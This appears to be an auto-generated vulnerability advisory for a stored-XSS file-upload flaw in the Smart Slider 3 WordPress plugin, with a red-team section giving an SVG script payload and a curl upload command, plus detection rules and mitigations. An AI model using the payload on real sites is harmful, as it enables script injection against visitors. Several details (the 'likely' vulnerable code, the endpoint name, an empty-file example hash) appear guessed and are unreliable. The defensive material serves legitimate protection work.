CVE-2024-3027
Executive Summary
CVE-2024-3027 is a medium-severity vulnerability in the Smart Slider 3 WordPress plugin (versions up to and including 3.5.1.22). The flaw is a Missing Authorization (CWE-862) in the upload function, allowing authenticated attackers with contributor-level access or higher to upload arbitrary files, including SVG files. This can lead to Stored Cross-Site Scripting (XSS) attacks, where malicious SVG content is served to site visitors. The vulnerability is particularly dangerous in the WordPress ecosystem because contributor roles are common and often granted to multiple users. No patch is currently available, making this a high-priority issue for WordPress site administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The threat level is elevated due to the lack of a patch and the ease of exploitation. An attacker with minimal privileges can upload malicious SVG files that execute JavaScript in the context of any user viewing the slider.
Deep Dive & Mechanics
The vulnerability resides in the upload function of the Smart Slider 3 plugin. The function lacks a proper capability check, meaning it does not verify that the user has the upload_files capability or similar. WordPress contributor-level users normally cannot upload files, but this plugin’s custom upload handler bypasses that restriction.
The upload function accepts file uploads and stores them in the WordPress media library or a custom directory. Because SVG files are not sanitized by default, an attacker can upload an SVG containing embedded JavaScript. When the slider is rendered on a page, the SVG is served with the image/svg+xml MIME type, and the browser executes the embedded script.
The attack flow:
- Attacker logs in as a contributor.
- Attacker crafts an SVG file with a
<script>tag or event handler (e.g.,onload). - Attacker uses the plugin’s upload function to upload the SVG.
- The SVG is stored and later displayed in a slider.
- Any visitor viewing the slider triggers the XSS payload.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code. The vulnerable function likely looks like:
// Vulnerable code (simplified)
function upload_file() {
// Missing capability check
$file = $_FILES['file'];
$upload_dir = wp_upload_dir();
move_uploaded_file($file['tmp_name'], $upload_dir['path'] . '/' . $file['name']);
// No file type validation
}
A patched version would include:
// Patched code (hypothetical)
function upload_file() {
if (!current_user_can('upload_files')) {
wp_die('Unauthorized');
}
$file = $_FILES['file'];
$allowed_types = array('jpg', 'jpeg', 'png', 'gif');
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_types)) {
wp_die('Invalid file type');
}
// Additional sanitization
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with Smart Slider 3 <= 3.5.1.22
- Contributor-level account credentials
Steps:
Craft the SVG payload:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"> <script>alert('XSS')</script> </svg>Upload the SVG via the plugin’s upload endpoint:
curl -X POST -u username:password \ -F "file=@malicious.svg" \ "https://target.com/wp-admin/admin-ajax.php?action=smart_slider_upload"Verify the upload by navigating to the slider editor and adding the uploaded SVG to a slide.
Trigger the XSS by visiting the page containing the slider.
Blue Team
Detection:
- Monitor for unusual file uploads by contributor-level users.
- Look for SVG files in the media library that contain
<script>tags or event handlers. - Use WAF rules to block SVG uploads with embedded JavaScript.
Hunting:
- Search for SVG files in the uploads directory:
find /var/www/html/wp-content/uploads -name "*.svg" -exec grep -l "<script>" {} \; - Check WordPress database for SVG attachments:
SELECT * FROM wp_posts WHERE post_type = 'attachment' AND guid LIKE '%.svg';
Indicators of Compromise (IOCs)
- File Hashes (example):
malicious.svg:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Patterns:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=smart_slider_upload
- POST requests to
- File Artifacts:
- SVG files in
/wp-content/uploads/containing<script>tags oronload/onerrorattributes
- SVG files in
- Log Entries:
- WordPress debug log entries showing file uploads by contributor users
Detection Engineering
YARA Rule
rule CVE_2024_3027_Smart_Slider_SVG_XSS {
meta:
description = "Detects malicious SVG files uploaded via Smart Slider 3 vulnerability"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-3027"
strings:
$svg_header = "<svg"
$script_tag = "<script"
$event_handler = /on(error|load|click|mouseover)\s*=\s*["']/
condition:
$svg_header and ($script_tag or $event_handler)
}
Sigma Rule
title: Smart Slider 3 SVG Upload by Contributor
id: cve-2024-3027-sigma
status: experimental
description: Detects SVG file uploads by contributor-level users via Smart Slider 3
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=smart_slider_upload'
cs-username|contains: 'contributor'
condition: selection
falsepositives:
- Legitimate SVG uploads by administrators
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-3027 Smart Slider 3 SVG Upload Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"admin-ajax.php"; http_uri;
content:"action=smart_slider_upload"; http_client_body;
content:".svg"; http_client_body;
classtype:attempted-user;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Smart Slider 3 plugin until a patch is released.
- Restrict contributor roles to only trusted users.
- Implement a WAF rule to block SVG uploads via the plugin’s endpoint.
Long-term Fix:
- Monitor the plugin’s official page for a security update.
- Apply the patch as soon as it becomes available.
- Consider using an alternative slider plugin with proper authorization checks.
Workaround:
- Add a custom capability check via a WordPress plugin or theme functions.php:
add_action('init', function() { if (current_user_can('contributor')) { remove_action('wp_ajax_smart_slider_upload', 'smart_slider_upload_handler'); } });
Report generated by Valters IT DevSecOps & CTI Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.